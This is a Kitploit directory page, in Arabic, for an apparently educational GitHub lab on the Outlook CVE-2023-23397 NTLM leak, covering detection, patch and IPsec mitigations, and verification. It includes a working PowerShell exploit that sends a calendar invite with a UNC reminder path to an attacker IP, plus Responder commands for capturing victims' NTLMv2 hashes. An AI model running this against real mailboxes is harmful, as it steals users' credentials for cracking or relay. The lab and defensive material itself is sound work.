Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2023-23397 — عرض توضيحي لثغرة تصعيد الامتيازات CVE-2023-23397 في Outlook | Kitploit
أدوات/GitHubGitHub/gilospy/cve-2023-23397
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالاختبار الاختراقالتعلم والتعليممختبرات وتدريب عملي
GitHubgilospy/cve-2023-23397

CVE-2023-23397

عرض توضيحي لثغرة تصعيد الامتيازات CVE-2023-23397 في Outlook

عرض المستودع
1منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2023-23397 – عرض الاستغلال والتخفيف

📌 نظرة عامة

يعرض هذا المشروع اكتشاف واستغلال وتخفيف CVE-2023-23397، وهي ثغرة حرجة من نوع zero-click NTLM relay في Microsoft Outlook لنظام Windows. يتم استغلالها عبر دعوات التقويم، مما يسمح للمهاجمين بالتقاط تجزئات NTLMv2 بدون أي تفاعل من المستخدم.

🛡️ درجة CVSS: 9.8 (حرجة)
🖥️ الإصدارات المتأثرة: Outlook 2013، 2016، 2019، Microsoft 365 (قبل تصحيح 14 مارس 2023)


⚠️ تفاصيل الثغرة

يمكن تكوين تذكيرات تقويم Outlook لتشغيل أصوات مخصصة عبر خاصية MAPI PidLidReminderFileParameter. يفشل Outlook في التحقق من مسارات UNC، مما يسمح بطلبات SMB عن بُعد عند تشغيل التذكيرات.

root@kitploit:~
\\attacker-ip\share\sound.wav

يؤدي هذا إلى إرسال تجزئات NTLMv2 إلى خوادم يتحكم بها المهاجم، والتي يمكن بعد ذلك:

  • كسرها دون اتصال (استعادة كلمة المرور)
  • استخدامها في هجمات NTLM relay لتصعيد الامتيازات

🔍 طريقة الكشف

استخدم MFCMAPI لفحص عناصر التقويم والتحقق من وجود قيم ضارة في PidLidReminderFileParameter (علامة MAPI 0x851F001F).

الخطوات:

  1. افتح MFCMAPI ← QuickStart > Open Folder > Calendar
  2. انتقل إلى Table > Set Columns
  3. أضف علامة الخاصية 0x808A001F لعرض مسارات ملفات التذكير
  4. ابحث عن مسارات UNC كمؤشر على الاختراق

🛠️ تقنيات التخفيف

1. تطبيق تصحيح Microsoft (موصى به)

قم بتثبيت تصحيح 14 مارس 2023 (مثل KB5002044). يقدم التصحيح:

  • IsFileZoneLocalIntranetOrTrusted() للتحقق من صحة مسارات ملفات التذكير
  • خيارات نهج المجموعة لتحديد النطاقات الموثوقة

نتيجة الاختبار:
سيسجل Outlook معرف الحدث 1008 ويمنع الوصول إلى مسارات SMB غير الموثوقة.


2. تخفيف على مستوى شبكة IPsec (مؤقت)

أ. حظر جميع SMB

  • يمنع TCP 445 الصادر (SMB)
  • يمنع تسرب NTLM إلى الشبكات غير الموثوقة

ب. السماح فقط بعناوين IP الموثوقة

  • حدد عناوين IP الداخلية (مثل 192.168.1.0/24)
  • حافظ على استمرارية الأعمال لاستخدام SMB الداخلي

📂 النهج المُعد مسبقًا: OutlookMitigation.ipsec


💻 إعداد المشروع

البيئة

النظاماسم المستخدمكلمة المرور
Kali Linuxkalikali
Windows 10 VMCVE-2023-23397vbox@123
حساب البريدvictim​@exploit.comvbox@123

المهاجم (Kali Linux)

root@kitploit:~
sudo apt install responder
sudo responder -I eth0 -v

تأكد من أن Kali والجهاز الضحية على نفس الشبكة.


الضحية (Windows + Outlook 2013)

  1. التثبيت:

    • Outlook 2013
    • .NET 2.0
    • hMailServer
    • MFCMAPI
  2. الإعداد:

    • نطاق hMailServer: exploit.com
    • مستخدم البريد: [email protected]

🚨 الاستغلال (نص PowerShell)

root@kitploit:~
# Initialize Outlook COM object
$Outlook = New-Object -ComObject Outlook.Application
$Namespace = $Outlook.GetNamespace("MAPI")
 
$ip = "192.168.1.7" # Attacker IP here
$emails = @("[email protected]")  # List of emails

# Create a new appointment item
$Appointment = $Outlook.CreateItem(1) # 1 corresponds to olAppointmentItem

# Set appointment properties
$Appointment.Subject = "CVE Presentation Demo Demo"
$Appointment.Body = "This is a test meeting, please ignore it."
$Appointment.Location = "Dubai"
$Appointment.Start = (Get-Date).AddSeconds(1) # Start time set to 1 second from now
$Appointment.Duration = 30 # Duration in minutes

# Configure reminder settings
$Appointment.ReminderSet = $true
$Appointment.ReminderMinutesBeforeStart = 0
$Appointment.ReminderOverrideDefault = $true
$Appointment.ReminderPlaySound = $true
$Appointment.ReminderSoundFile = "\\$ip\nonexistent\sound.wav"

foreach ($email in $emails) {
    $Appointment.Recipients.Add($email) | Out-Null
}

# Save and send the appointment
$Appointment.Save()
$Appointment.Send()

سيقوم Responder بالتقاط تجزئة NTLMv2 من نظام الضحية.


✅ التحقق

الكشف

  • استخدم MFCMAPI لتأكيد أن PidLidReminderFileParameter يحتوي على مسار UNC.

التخفيف

  • طبق التصحيح أو نهج IPsec.
  • أعد تشغيل النص: قد يظهر Outlook تذكيرًا ولكن لن يتم التقاط أي تجزئة NTLM.

❗ القيود

  • قد يؤثر حظر جميع حركة مرور SMB على الخدمات المشروعة (مشاركة الملفات، مصادقة النطاق)
  • قد تصبح صيانة عناوين IP الموثوقة معقدة تشغيليًا

تنزيل الأداة